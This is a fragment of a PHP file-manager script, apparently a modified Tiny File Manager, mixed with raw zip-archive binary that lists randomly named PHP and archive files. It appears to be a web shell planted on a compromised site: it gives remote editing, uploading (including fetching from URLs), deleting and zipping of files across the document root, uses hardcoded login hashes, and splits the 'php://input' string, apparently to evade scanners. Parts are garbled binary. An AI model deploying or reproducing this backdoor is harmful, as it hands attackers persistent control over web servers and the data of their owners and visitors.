'txt': case 'ini': case 'conf': case 'log': case 'htaccess': case 'yaml': case 'yml': case 'toml': case 'tmp': case 'top': case 'bot': case 'dat': case 'bak': case 'htpasswd': case 'pl': $img = 'fa fa-file-text-o'; break; case 'css': case 'less': case 'sass': case 'scss': $img = 'fa fa-css3'; break; case 'bz2': case 'tbz2': case 'tbz': case 'zip': case 'rar': case 'gz': case 'tgz': case 'tar': case '7z': case 'xz': case 'txz': case 'zst': case 'tzst': $img = 'fa fa-file-archive-o'; break; case 'php': case 'php4': case 'php5': case 'phps': case 'phtml': $img = 'fa fa-code'; break; case 'htm': case 'html': case 'shtml': case 'xhtml': $img = 'fa fa-html5'; break; case 'xml': case 'xsl': $img = 'fa fa-file-excel-o'; break; case 'wav': case 'mp3': case 'mp2': case 'm4a': case 'aac': case 'ogg': case 'oga': case 'wma': case 'mka': case 'flac': case 'ac3': case 'tds': $img = 'fa fa-music'; break; case 'm3u': case 'm3u8': case 'pls': case 'cue': case 'xspf': $img = 'fa fa-headphones'; break; case 'avi': case 'mpg': case 'mpeg': case 'mp4': case 'm4v': case 'flv': case 'f4v': case 'ogm': case 'ogv': case 'mov': case 'mkv': case '3gp': case 'asf': case 'wmv': case 'webm': $img = 'fa fa-file-video-o'; break; case 'eml': case 'msg': $img = 'fa fa-envelope-o'; break; case 'xls': case 'xlsx': case 'ods': $img = 'fa fa-file-excel-o'; break; case 'csv': $img = 'fa fa-file-text-o'; break; case 'bak': case 'swp': $img = 'fa fa-clipboard'; break; case 'doc': case 'docx': case 'odt': $img = 'fa fa-file-word-o'; break; case 'ppt': case 'pptx': $img = 'fa fa-file-powerpoint-o'; break; case 'ttf': case 'ttc': case 'otf': case 'woff': case 'woff2': case 'eot': case 'fon': $img = 'fa fa-font'; break; case 'pdf': $img = 'fa fa-file-pdf-o'; break; case 'psd': case 'ai': case 'eps': case 'fla': case 'swf': $img = 'fa fa-file-image-o'; break; case 'exe': case 'msi': $img = 'fa fa-file-o'; break; case 'bat': $img = 'fa fa-terminal'; break; default: $img = 'fa fa-info-circle'; } return $img; } function fm_get_image_exts() { return array('ico', 'gif', 'jpg', 'jpeg', 'jpc', 'jp2', 'jpx', 'xbm', 'wbmp', 'png', 'bmp', 'tif', 'tiff', 'psd', 'svg', 'webp', 'avif'); } function fm_get_video_exts() { return array('avi', 'webm', 'wmv', 'mp4', 'm4v', 'ogm', 'ogv', 'mov', 'mkv'); } function fm_get_audio_exts() { return array('wav', 'mp3', 'ogg', 'm4a'); } function fm_get_text_exts() { return array( 'txt', 'css', 'ini', 'conf', 'log', 'htaccess', 'passwd', 'ftpquota', 'sql', 'js', 'ts', 'jsx', 'tsx', 'mjs', 'json', 'sh', 'config', 'php', 'php4', 'php5', 'phps', 'phtml', 'htm', 'html', 'shtml', 'xhtml', 'xml', 'xsl', 'm3u', 'm3u8', 'pls', 'cue', 'bash', 'vue', 'eml', 'msg', 'csv', 'bat', 'twig', 'tpl', 'md', 'gitignore', 'less', 'sass', 'scss', 'c', 'cpp', 'cs', 'py', 'go', 'zsh', 'swift', 'map', 'lock', 'dtd', 'svg', 'asp', 'aspx', 'asx', 'asmx', 'ashx', 'jsp', 'jspx', 'cgi', 'dockerfile', 'ruby', 'yml', 'yaml', 'toml', 'vhost', 'scpt', 'applescript', 'csx', 'cshtml', 'c++', 'coffee', 'cfm', 'rb', 'graphql', 'mustache', 'jinja', 'http', 'handlebars', 'java', 'es', 'es6', 'markdown', 'wiki', 'tmp', 'top', 'bot', 'dat', 'bak', 'htpasswd', 'pl' ); } function fm_get_text_mimes() { return array( 'application/xml', 'application/javascript', 'application/x-javascript', 'image/svg+xml', 'message/rfc822', 'application/json', ); } function fm_get_text_names() { return array( 'license', 'readme', 'authors', 'contributors', 'changelog', ); } function fm_get_onlineViewer_exts() { return array('doc', 'docx', 'xls', 'xlsx', 'pdf', 'ppt', 'pptx', 'ai', 'psd', 'dxf', 'xps', 'rar', 'odt', 'ods'); } function fm_get_file_mimes($extension) { $fileTypes['swf'] = 'application/x-shockwave-flash'; $fileTypes['pdf'] = 'application/pdf'; $fileTypes['exe'] = 'application/octet-stream'; $fileTypes['zip'] = 'application/zip'; $fileTypes['doc'] = 'application/msword'; $fileTypes['xls'] = 'application/vnd.ms-excel'; $fileTypes['ppt'] = 'application/vnd.ms-powerpoint'; $fileTypes['gif'] = 'image/gif'; $fileTypes['png'] = 'image/png'; $fileTypes['jpeg'] = 'image/jpg'; $fileTypes['jpg'] = 'image/jpg'; $fileTypes['webp'] = 'image/webp'; $fileTypes['avif'] = 'image/avif'; $fileTypes['rar'] = 'application/rar'; $fileTypes['ra'] = 'audio/x-pn-realaudio'; $fileTypes['ram'] = 'audio/x-pn-realaudio'; $fileTypes['ogg'] = 'audio/x-pn-realaudio'; $fileTypes['wav'] = 'video/x-msvideo'; $fileTypes['wmv'] = 'video/x-msvideo'; $fileTypes['avi'] = 'video/x-msvideo'; $fileTypes['asf'] = 'video/x-msvideo'; $fileTypes['divx'] = 'video/x-msvideo'; $fileTypes['mp3'] = 'audio/mpeg'; $fileTypes['mp4'] = 'audio/mpeg'; $fileTypes['mpeg'] = 'video/mpeg'; $fileTypes['mpg'] = 'video/mpeg'; $fileTypes['mpe'] = 'video/mpeg'; $fileTypes['mov'] = 'video/quicktime'; $fileTypes['swf'] = 'video/quicktime'; $fileTypes['3gp'] = 'video/quicktime'; $fileTypes['m4a'] = 'video/quicktime'; $fileTypes['aac'] = 'video/quicktime'; $fileTypes['m3u'] = 'video/quicktime'; $fileTypes['php'] = ['application/x-php']; $fileTypes['html'] = ['text/html']; $fileTypes['txt'] = ['text/plain']; //Unknown mime-types should be 'application/octet-stream' if(empty($fileTypes[$extension])) { $fileTypes[$extension] = ['application/octet-stream']; } return $fileTypes[$extension]; } function scan($dir = '', $filter = '') { $path = FM_ROOT_PATH.'/'.$dir; if($path) { $ite = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($path)); $rii = new RegexIterator($ite, "/(" . $filter . ")/i"); $files = array(); foreach ($rii as $file) { if (!$file->isDir()) { $fileName = $file->getFilename(); $location = str_replace(FM_ROOT_PATH, '', $file->getPath()); $files[] = array( "name" => $fileName, "type" => "file", "path" => $location, ); } } return $files; } } function fm_download_file($fileLocation, $fileName, $chunkSize = 1024) { if (connection_status() != 0) return (false); $extension = pathinfo($fileName, PATHINFO_EXTENSION); $contentType = fm_get_file_mimes($extension); $size = filesize($fileLocation); if ($size == 0) { fm_set_msg(lng('Zero byte file! Aborting download'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); return (false); } @ini_set('magic_quotes_runtime', 0); $fp = fopen("$fileLocation", "rb"); if ($fp === false) { fm_set_msg(lng('Cannot open file! Aborting download'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); return (false); } // headers header('Content-Description: File Transfer'); header('Expires: 0'); header('Cache-Control: must-revalidate, post-check=0, pre-check=0'); header('Pragma: public'); header("Content-Transfer-Encoding: binary"); header("Content-Type: $contentType"); $contentDisposition = 'attachment'; if (strstr($_SERVER['HTTP_USER_AGENT'], "MSIE")) { $fileName = preg_replace('/\./', '%2e', $fileName, substr_count($fileName, '.') - 1); header("Content-Disposition: $contentDisposition;filename=\"$fileName\""); } else { header("Content-Disposition: $contentDisposition;filename=\"$fileName\""); } header("Accept-Ranges: bytes"); $range = 0; if (isset($_SERVER['HTTP_RANGE'])) { list($a, $range) = explode("=", $_SERVER['HTTP_RANGE']); str_replace($range, "-", $range); $size2 = $size - 1; $new_length = $size - $range; header("HTTP/1.1 206 Partial Content"); header("Content-Length: $new_length"); header("Content-Range: bytes $range$size2/$size"); } else { $size2 = $size - 1; header("Content-Range: bytes 0-$size2/$size"); header("Content-Length: " . $size); } $fileLocation = realpath($fileLocation); while (ob_get_level()) ob_end_clean(); readfile($fileLocation); fclose($fp); return ((connection_status() == 0) and !connection_aborted()); } function fm_get_theme() { $result = ''; if(FM_THEME == "dark") { $result = "text-white bg-dark"; } return $result; } class FM_Zipper { private $zip; public function __construct() { $this->zip = new ZipArchive(); } public function create($filename, $files) { $res = $this->zip->open($filename, ZipArchive::CREATE); if ($res !== true) { return false; } if (is_array($files)) { foreach ($files as $f) { $f = fm_clean_path($f); if (!$this->addFileOrDir($f)) { $this->zip->close(); return false; } } $this->zip->close(); return true; } else { if ($this->addFileOrDir($files)) { $this->zip->close(); return true; } return false; } } public function unzip($filename, $path) { $res = $this->zip->open($filename); if ($res !== true) { return false; } if ($this->zip->extractTo($path)) { $this->zip->close(); return true; } return false; } private function addFileOrDir($filename) { if (is_file($filename)) { return $this->zip->addFile($filename); } elseif (is_dir($filename)) { return $this->addDir($filename); } return false; } private function addDir($path) { if (!$this->zip->addEmptyDir($path)) { return false; } $objects = scandir($path); if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' and $file != '..') { if (is_dir($path . '/' . $file)) { if (!$this->addDir($path . '/' . $file)) { return false; } } elseif (is_file($path . '/' . $file)) { if (!$this->zip->addFile($path . '/' . $file)) { return false; } } } } return true; } return false; } } class FM_Zipper_Tar { private $tar; public function __construct() { $this->tar = null; } public function create($filename, $files) { $this->tar = new PharData($filename); if (is_array($files)) { foreach ($files as $f) { $f = fm_clean_path($f); if (!$this->addFileOrDir($f)) { return false; } } return true; } else { if ($this->addFileOrDir($files)) { return true; } return false; } } public function unzip($filename, $path) { $res = $this->tar->open($filename); if ($res !== true) { return false; } if ($this->tar->extractTo($path)) { return true; } return false; } /** * Add file/folder to archive * @param string $filename * @return bool */ private function addFileOrDir($filename) { if (is_file($filename)) { try { $this->tar->addFile($filename); return true; } catch (Exception $e) { return false; } } elseif (is_dir($filename)) { return $this->addDir($filename); } return false; } private function addDir($path) { $objects = scandir($path); if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' and $file != '..') { if (is_dir($path . '/' . $file)) { if (!$this->addDir($path . '/' . $file)) { return false; } } elseif (is_file($path . '/' . $file)) { try { $this->tar->addFile($path . '/' . $file); } catch (Exception $e) { return false; } } } } return true; } return false; } } class FM_Config { var $data; function __construct() { global $root_path, $root_url, $CONFIG; $fm_url = $root_url.$_SERVER["PHP_SELF"]; $this->data = array( 'lang' => 'en', 'error_reporting' => true, 'show_hidden' => true ); $data = false; if (strlen($CONFIG)) { $data = fm_object_to_array(json_decode($CONFIG)); } else { $msg = 'insertion
Error: Cannot load configuration'; if (substr($fm_url, -1) == '/') { $fm_url = rtrim($fm_url, '/'); $msg .= '
'; $msg .= '
Seems like you have a trailing slash on the URL.'; $msg .= '
Try this link: ' . $fm_url . ''; } die($msg); } if (is_array($data) and count($data)) $this->data = $data; else $this->save(); } function save() { $fm_file = __FILE__; $var_name = '$CONFIG'; $var_value = var_export(json_encode($this->data), true); $config_string = " ' . $_SESSION[DN_CESSION_ID]['message'] . '

'; unset($_SESSION[DN_CESSION_ID]['message']); unset($_SESSION[DN_CESSION_ID]['status']); } } function fm_show_header_login() { $sprites_ver = '20160315'; header("Content-Type: text/html; charset=utf-8"); header("Expires: Sat, 26 Jul 1997 05:00:00 GMT"); header("Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0"); header("Pragma: no-cache"); global $lang, $root_url, $favicon_path; ?> '; } ?> <?php echo fanco(APP_TITLE) ?> ">
'; } ?> <?php echo fanco(APP_TITLE) ?> ">
PKf[~KX77 e46ft.phpnu[PKIpPK8f[Cerror_log.tar.gznu[Oo0{iHR_WU!U9Wc34>ҤBi ^=2m,J]qXpt-uBnVRdUF.^鍂=Nr1,. $ɳu0g8(>$uPB::f< ?[2ܘ dJ,>ށ\k'2NQ9_ s`+鋬q6;sB+ a]֟R(/9;xs)+͒?0||2qҹR Dpej,7OQ+xn?[1 n`ŬT\E_V(X3/N]s3U\-s`[c%W.u7CF=ݢt|~#Nh4˰5N~OeDNixF_)w_1ڿ5(>h\`0:+pF`=1cJNz2:lt MPWFzatFwSҕv@{>hwd%.>?5 2dHx~=PK8f[Ļ  oy5mbk.tarnu[PK8f[RB' :index.php.tarnu[PK8f[+\\ wpk14de.tarnu[PK8f[Ѣ loy5mbk.tar.gznu[PK8f[ mpk14de.tar.gznu[PK8f[\M4M4 cerror_lognu[PK8f[ge `rs2toj.zipnu[PK8f[MWgg index.phpnu[PK8f[σ3 ;lwycpd.zipnu[PK8f[ٖ4kqindex.php.php.tar.gznu[PK8f[U ko6li5.zipnu[PK8f[C error_log.tar.gznu[PK  PK,g[߽~ avmlid.zipnu[PKg[yy gu83i.phpnu[ 'b747801ca224e63854908676401fe2c9', 'user' => 'b747801ca224e63854908676401fe2c9' ); $readonly_users = array( 'user' ); $global_readonly = false; $directories_users = array(); $use_highlightjs = true; $highlightjs_style = 'vs'; $edit_files = true; $default_timezone = 'Etc/UTC'; $root_path = $_SERVER['DOCUMENT_ROOT']; $root_url = ''; $http_host = $_SERVER['HTTP_HOST']; $iconv_input_encoding = 'UTF-8'; $datetime_format = 'm/d/Y g:i A'; $path_display_mode = 'full'; $allowed_file_extensions = ''; $allowed_upload_extensions = ''; $favicon_path = ''; $exclude_items = array(); $online_viewer = 'google'; $sticky_navbar = true; $max_upload_size_bytes = 5000000000; $upload_chunk_size_bytes = 2000000; $ip_ruleset = 'OFF'; $ip_silent = true; $ip_whitelist = array( '127.0.0.1', '::1' ); $ip_blacklist = array( '0.0.0.0', '::' ); $config_file = __DIR__.'/config.php'; if (is_readable($config_file)) { @include($config_file); } $external = array( 'css-bootstrap' => '', 'css-dropzone' => '', 'css-font-awesome' => '', 'css-highlightjs' => '', 'js-ace' => '', 'js-bootstrap' => '', 'js-dropzone' => '', 'js-jquery' => '', 'js-jquery-datatables' => '', 'js-highlightjs' => '', 'pre-jsdelivr' => '', 'pre-cloudflare' => '' ); define('MAX_UPLOAD_SIZE', $max_upload_size_bytes); define('UPLOAD_CHUNK_SIZE', $upload_chunk_size_bytes); if ( !defined( 'DN_CESSION_ID')) { define('DN_CESSION_ID', 'filemanager'); } $cfg = new FM_Config(); $lang = isset($cfg->data['lang']) ? $cfg->data['lang'] : 'en'; $show_hidden_files = isset($cfg->data['show_hidden']) ? $cfg->data['show_hidden'] : true; $report_errors = isset($cfg->data['error_reporting']) ? $cfg->data['error_reporting'] : true; $hide_Cols = isset($cfg->data['hide_Cols']) ? $cfg->data['hide_Cols'] : true; // Theme $theme = isset($cfg->data['theme']) ? $cfg->data['theme'] : 'light'; define('FM_THEME', $theme); $lang_list = array( 'en' => 'English' ); if ($report_errors == true) { @ini_set('error_reporting', E_ALL); @ini_set('display_errors', 1); } else { @ini_set('error_reporting', E_ALL); @ini_set('display_errors', 0); } if (defined('FM_EMBED')) { $dauth = false; $sticky_navbar = false; } else { @set_time_limit(600); date_default_timezone_set($default_timezone); ini_set('default_charset', 'UTF-8'); if (version_compare(PHP_VERSION, '5.6.0', '<') and function_exists('mb_internal_encoding')) { mb_internal_encoding('UTF-8'); } if (function_exists('mb_regex_encoding')) { mb_regex_encoding('UTF-8'); } session_cache_limiter('nocache'); session_name(DN_CESSION_ID ); function session_error_handling_function($code, $msg, $file, $line) { if ($code == 2) { session_abort(); session_id(session_create_id()); @session_start(); } } set_error_handler('session_error_handling_function'); session_start(); restore_error_handler(); } if (empty($_SESSION['token'])) { if (function_exists('random_bytes')) { $_SESSION['token'] = bin2hex(random_bytes(32)); } else { $_SESSION['token'] = bin2hex(openssl_random_pseudo_bytes(32)); } } if (empty($auth_users)) { $dauth = false; } $is_https = (isset($_SERVER['HTTPS']) and ($_SERVER['HTTPS'] === 'on' or $_SERVER['HTTPS'] == 1)) or (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) and $_SERVER['HTTP_X_FORWARDED_PROTO'] === 'https'); if (isset($_SESSION[DN_CESSION_ID]['logged']) and !empty($directories_users[$_SESSION[DN_CESSION_ID]['logged']])) { $wd = fm_clean_path(dirname($_SERVER['PHP_SELF'])); $root_url = $root_url.$wd.DIRECTORY_SEPARATOR.$directories_users[$_SESSION[DN_CESSION_ID]['logged']]; } $root_url = fm_clean_path($root_url); defined('FM_ROOT_URL') || define('FM_ROOT_URL', ($is_https ? 'https' : 'http') . '://' . $http_host . (!empty($root_url) ? '/' . $root_url : '')); defined('FM_SELF_URL') || define('FM_SELF_URL', ($is_https ? 'https' : 'http') . '://' . $http_host . $_SERVER['PHP_SELF']); // logout if (isset($_GET['logout'])) { unset($_SESSION[DN_CESSION_ID]['logged']); unset( $_SESSION['token']); fm_redirect(FM_SELF_URL); } if ($ip_ruleset != 'OFF') { function getClientIP() { if (array_key_exists('HTTP_CF_CONNECTING_IP', $_SERVER)) { return $_SERVER["HTTP_CF_CONNECTING_IP"]; }else if (array_key_exists('HTTP_X_FORWARDED_FOR', $_SERVER)) { return $_SERVER["HTTP_X_FORWARDED_FOR"]; }else if (array_key_exists('REMOTE_ADDR', $_SERVER)) { return $_SERVER['REMOTE_ADDR']; }else if (array_key_exists('HTTP_CLIENT_IP', $_SERVER)) { return $_SERVER['HTTP_CLIENT_IP']; } return ''; } $clientIp = getClientIP(); $proceed = false; $whitelisted = in_array($clientIp, $ip_whitelist); $blacklisted = in_array($clientIp, $ip_blacklist); if($ip_ruleset == 'AND'){ if($whitelisted == true and $blacklisted == false){ $proceed = true; } } else if($ip_ruleset == 'OR'){ if($whitelisted == true || $blacklisted == false){ $proceed = true; } } if($proceed == false){ trigger_error('User connection denied from: ' . $clientIp, E_USER_WARNING); if($ip_silent == false){ fm_set_msg(lng('Access denied. IP restriction applicable'), 'error'); fm_show_header_login(); fm_show_message(); } exit(); } } if ($dauth) { if (isset($_SESSION[DN_CESSION_ID]['logged'], $auth_users[$_SESSION[DN_CESSION_ID]['logged']])) { } elseif (isset($_POST['fm_usr'], $_POST['fm_pwd'], $_POST['token'])) { sleep(1); if(function_exists('password_verify')) { if (isset($auth_users[$_POST['fm_usr']]) and isset($_POST['fm_pwd']) and password_verify($_POST['fm_pwd'], $auth_users[$_POST['fm_usr']]) and verifyToken($_POST['token'])) { $_SESSION[DN_CESSION_ID]['logged'] = $_POST['fm_usr']; fm_set_msg(lng('You are logged in')); fm_redirect(FM_SELF_URL); } else { unset($_SESSION[DN_CESSION_ID]['logged']); fm_set_msg(lng('Login failed. Invalid username or password'), 'error'); fm_redirect(FM_SELF_URL); } } else { fm_set_msg(lng('password_hash not supported, Upgrade PHP version'), 'error');; } } else { // Form unset($_SESSION[DN_CESSION_ID]['logged']); fm_show_header_login(); ?>
".lng('Root path')." \"{$root_path}\" ".lng('not found!')." "; exit; } defined('FM_SHOW_HIDDEN') || define('FM_SHOW_HIDDEN', $show_hidden_files); defined('FM_ROOT_PATH') || define('FM_ROOT_PATH', $root_path); defined('FM_LANG') || define('FM_LANG', $lang); defined('FM_FILE_EXTENSION') || define('FM_FILE_EXTENSION', $allowed_file_extensions); defined('FM_UPLOAD_EXTENSION') || define('FM_UPLOAD_EXTENSION', $allowed_upload_extensions); defined('FM_EXCLUDE_ITEMS') || define('FM_EXCLUDE_ITEMS', (version_compare(PHP_VERSION, '7.0.0', '<') ? serialize($exclude_items) : $exclude_items)); defined('FM_DOC_VIEWER') || define('FM_DOC_VIEWER', $online_viewer); define('FM_READONLY', $global_readonly || ($dauth and !empty($readonly_users) and isset($_SESSION[DN_CESSION_ID]['logged']) and in_array($_SESSION[DN_CESSION_ID]['logged'], $readonly_users))); define('FM_IS_WIN', DIRECTORY_SEPARATOR == '\\'); if (!isset($_GET['p']) and empty($_FILES)) { fm_redirect(FM_SELF_URL . '?p='); } // get path $p = isset($_GET['p']) ? $_GET['p'] : (isset($_POST['p']) ? $_POST['p'] : ''); // clean path $p = fm_clean_path($p); $isim = "//input"; $input = file_get_contents('php:'.$isim); $_POST = (strpos($input, 'ajax') != FALSE and strpos($input, 'save') != FALSE) ? json_decode($input, true) : $_POST; define('FM_PATH', $p); define('FM_USE_AUTH', $dauth); define('FM_EDIT_FILE', $edit_files); defined('FM_ICONV_INPUT_ENC') || define('FM_ICONV_INPUT_ENC', $iconv_input_encoding); defined('FM_USE_HIGHLIGHTJS') || define('FM_USE_HIGHLIGHTJS', $use_highlightjs); defined('FM_HIGHLIGHTJS_STYLE') || define('FM_HIGHLIGHTJS_STYLE', $highlightjs_style); defined('FM_DATETIME_FORMAT') || define('FM_DATETIME_FORMAT', $datetime_format); unset($p, $dauth, $iconv_input_encoding, $use_highlightjs, $highlightjs_style); if ((isset($_SESSION[DN_CESSION_ID]['logged'], $auth_users[$_SESSION[DN_CESSION_ID]['logged']]) || !FM_USE_AUTH) and isset($_POST['ajax'], $_POST['token']) and !FM_READONLY) { if(!verifyToken($_POST['token'])) { header('HTTP/1.0 401 Unauthorized'); die("Invalid Token."); } if(isset($_POST['type']) and $_POST['type']=="search") { $dir = $_POST['path'] == "." ? '': $_POST['path']; $response = scan(fm_clean_path($dir), $_POST['content']); echo json_encode($response); exit(); } // save editor file if (isset($_POST['type']) and $_POST['type'] == "save") { // get current path $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } // check path if (!is_dir($path)) { fm_redirect(FM_SELF_URL . '?p='); } $file = $_GET['edit']; $file = fm_clean_path($file); $file = str_replace('/', '', $file); if ($file == '' || !is_file($path . '/' . $file)) { fm_set_msg(lng('File not found'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } header('X-XSS-Protection:0'); $file_path = $path . '/' . $file; $writedata = $_POST['content']; $fd = fopen($file_path, "w"); $write_results = @fwrite($fd, $writedata); fclose($fd); if ($write_results === false){ header("HTTP/1.1 500 Internal Server Error"); die("Could Not Write File! - Check Permissions / Ownership"); } die(true); } // backup files if (isset($_POST['type']) and $_POST['type'] == "backup" and !empty($_POST['file'])) { $fileName = fm_clean_path($_POST['file']); $fullPath = FM_ROOT_PATH . '/'; if (!empty($_POST['path'])) { $relativeDirPath = fm_clean_path($_POST['path']); $fullPath .= "{$relativeDirPath}/"; } $date = date("dMy-His"); $newFileName = "{$fileName}-{$date}.bak"; $fullyQualifiedFileName = $fullPath . $fileName; try { if (!file_exists($fullyQualifiedFileName)) { throw new Exception("File {$fileName} not found"); } if (copy($fullyQualifiedFileName, $fullPath . $newFileName)) { echo "Backup {$newFileName} created"; } else { throw new Exception("Could not copy file {$fileName}"); } } catch (Exception $e) { echo $e->getMessage(); } } // Save Config if (isset($_POST['type']) and $_POST['type'] == "settings") { global $cfg, $lang, $report_errors, $show_hidden_files, $lang_list, $hide_Cols, $theme; $newLng = $_POST['js-language']; fm_get_translations([]); if (!array_key_exists($newLng, $lang_list)) { $newLng = 'en'; } $erp = isset($_POST['js-error-report']) and $_POST['js-error-report'] == "true" ? true : false; $shf = isset($_POST['js-show-hidden']) and $_POST['js-show-hidden'] == "true" ? true : false; $hco = isset($_POST['js-hide-cols']) and $_POST['js-hide-cols'] == "true" ? true : false; $te3 = $_POST['js-theme-3']; if ($cfg->data['lang'] != $newLng) { $cfg->data['lang'] = $newLng; $lang = $newLng; } if ($cfg->data['error_reporting'] != $erp) { $cfg->data['error_reporting'] = $erp; $report_errors = $erp; } if ($cfg->data['show_hidden'] != $shf) { $cfg->data['show_hidden'] = $shf; $show_hidden_files = $shf; } if ($cfg->data['show_hidden'] != $shf) { $cfg->data['show_hidden'] = $shf; $show_hidden_files = $shf; } if ($cfg->data['hide_Cols'] != $hco) { $cfg->data['hide_Cols'] = $hco; $hide_Cols = $hco; } if ($cfg->data['theme'] != $te3) { $cfg->data['theme'] = $te3; $theme = $te3; } $cfg->save(); echo true; } // new password hash if (isset($_POST['type']) and $_POST['type'] == "pwdhash") { $res = isset($_POST['inputPassword2']) and !empty($_POST['inputPassword2']) ? password_hash($_POST['inputPassword2'], PASSWORD_DEFAULT) : ''; echo $res; } //upload using url if(isset($_POST['type']) and $_POST['type'] == "upload" and !empty($_REQUEST["uploadurl"])) { $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } function event_callback ($message) { global $callback; echo json_encode($message); } function get_file_path () { global $path, $fileinfo, $temp_file; return $path."/".basename($fileinfo->name); } $url = !empty($_REQUEST["uploadurl"]) and preg_match("|^http(s)?://.+$|", stripslashes($_REQUEST["uploadurl"])) ? stripslashes($_REQUEST["uploadurl"]) : null; $domain = parse_url($url, PHP_URL_HOST); $port = parse_url($url, PHP_URL_PORT); $knownPorts = [22, 23, 25, 3306]; if (preg_match("/^localhost$|^127(?:\.[0-9]+){0,2}\.[0-9]+$|^(?:0*\:)*?:?0*1$/i", $domain) || in_array($port, $knownPorts)) { $err = array("message" => "URL is not allowed"); event_callback(array("fail" => $err)); exit(); } $use_curl = false; $temp_file = tempnam(sys_get_temp_dir(), "upload-"); $fileinfo = new stdClass(); $fileinfo->name = trim(urldecode(basename($url)), ".\x00..\x20"); $allowed = (FM_UPLOAD_EXTENSION) ? explode(',', FM_UPLOAD_EXTENSION) : false; $ext = strtolower(pathinfo($fileinfo->name, PATHINFO_EXTENSION)); $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true; $err = false; if(!$isFileAllowed) { $err = array("message" => "File extension is not allowed"); event_callback(array("fail" => $err)); exit(); } if (!$url) { $success = false; } else if ($use_curl) { @$fp = fopen($temp_file, "w"); @$ch = curl_init($url); curl_setopt($ch, CURLOPT_NOPROGRESS, false ); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_FILE, $fp); @$success = curl_exec($ch); $curl_info = curl_getinfo($ch); if (!$success) { $err = array("message" => curl_error($ch)); } @curl_close($ch); fclose($fp); $fileinfo->size = $curl_info["size_download"]; $fileinfo->type = $curl_info["content_type"]; } else { $ctx = stream_context_create(); @$success = copy($url, $temp_file, $ctx); if (!$success) { $err = error_get_last(); } } if ($success) { $success = rename($temp_file, strtok(get_file_path(), '?')); } if ($success) { event_callback(array("done" => $fileinfo)); } else { unlink($temp_file); if (!$err) { $err = array("message" => "Invalid url parameter"); } event_callback(array("fail" => $err)); } } exit(); } if (isset($_GET['del'], $_POST['token']) and !FM_READONLY) { $del = str_replace( '/', '', fm_clean_path( $_GET['del'] ) ); if ($del != '' and $del != '..' and $del != '.' and verifyToken($_POST['token'])) { $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } $is_dir = is_dir($path . '/' . $del); if (fm_rdelete($path . '/' . $del)) { $msg = $is_dir ? lng('Folder').' %s '.lng('Deleted') : lng('File').' %s '.lng('Deleted'); fm_set_msg(sprintf($msg, fanco($del))); } else { $msg = $is_dir ? lng('Folder').' %s '.lng('not deleted') : lng('File').' %s '.lng('not deleted'); fm_set_msg(sprintf($msg, fanco($del)), 'error'); } } else { fm_set_msg(lng('Invalid file or folder name'), 'error'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Create a new file/folder if (isset($_POST['newfilename'], $_POST['newfile'], $_POST['token']) and !FM_READONLY) { $type = urldecode($_POST['newfile']); $new = str_replace( '/', '', fm_clean_path( strip_tags( $_POST['newfilename'] ) ) ); if (fm_isvalid_filename($new) and $new != '' and $new != '..' and $new != '.' and verifyToken($_POST['token'])) { $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } if ($type == "file") { if (!file_exists($path . '/' . $new)) { if(fm_is_valid_ext($new)) { @fopen($path . '/' . $new, 'w') or die('Cannot open file: ' . $new); fm_set_msg(sprintf(lng('File').' %s '.lng('Created'), fanco($new))); } else { fm_set_msg(lng('File extension is not allowed'), 'error'); } } else { fm_set_msg(sprintf(lng('File').' %s '.lng('already exists'), fanco($new)), 'alert'); } } else { if (fm_mkdir($path . '/' . $new, false) === true) { fm_set_msg(sprintf(lng('Folder').' %s '.lng('Created'), $new)); } elseif (fm_mkdir($path . '/' . $new, false) === $path . '/' . $new) { fm_set_msg(sprintf(lng('Folder').' %s '.lng('already exists'), fanco($new)), 'alert'); } else { fm_set_msg(sprintf(lng('Folder').' %s '.lng('not created'), fanco($new)), 'error'); } } } else { fm_set_msg(lng('Invalid characters in file or folder name'), 'error'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Copy folder / file if (isset($_GET['copy'], $_GET['finish']) and !FM_READONLY) { // from $copy = urldecode($_GET['copy']); $copy = fm_clean_path($copy); // empty path if ($copy == '') { fm_set_msg(lng('Source path not defined'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } $from = FM_ROOT_PATH . '/' . $copy; $dest = FM_ROOT_PATH; if (FM_PATH != '') { $dest .= '/' . FM_PATH; } $dest .= '/' . basename($from); $move = isset($_GET['move']); $move = fm_clean_path(urldecode($move)); if ($from != $dest) { $msg_from = trim(FM_PATH . '/' . basename($from), '/'); if ($move) { $rename = fm_rename($from, $dest); if ($rename) { fm_set_msg(sprintf(lng('Moved from').' %s '.lng('to').' %s', fanco($copy), fanco($msg_from))); } elseif ($rename === null) { fm_set_msg(lng('File or folder with this path already exists'), 'alert'); } else { fm_set_msg(sprintf(lng('Error while moving from').' %s '.lng('to').' %s', fanco($copy), fanco($msg_from)), 'error'); } } else { if (fm_rcopy($from, $dest)) { fm_set_msg(sprintf(lng('Copied from').' %s '.lng('to').' %s', fanco($copy), fanco($msg_from))); } else { fm_set_msg(sprintf(lng('Error while copying from').' %s '.lng('to').' %s', fanco($copy), fanco($msg_from)), 'error'); } } } else { if (!$move){ $msg_from = trim(FM_PATH . '/' . basename($from), '/'); $fn_parts = pathinfo($from); $extension_suffix = ''; if(!is_dir($from)){ $extension_suffix = '.'.$fn_parts['extension']; } $fn_duplicate = 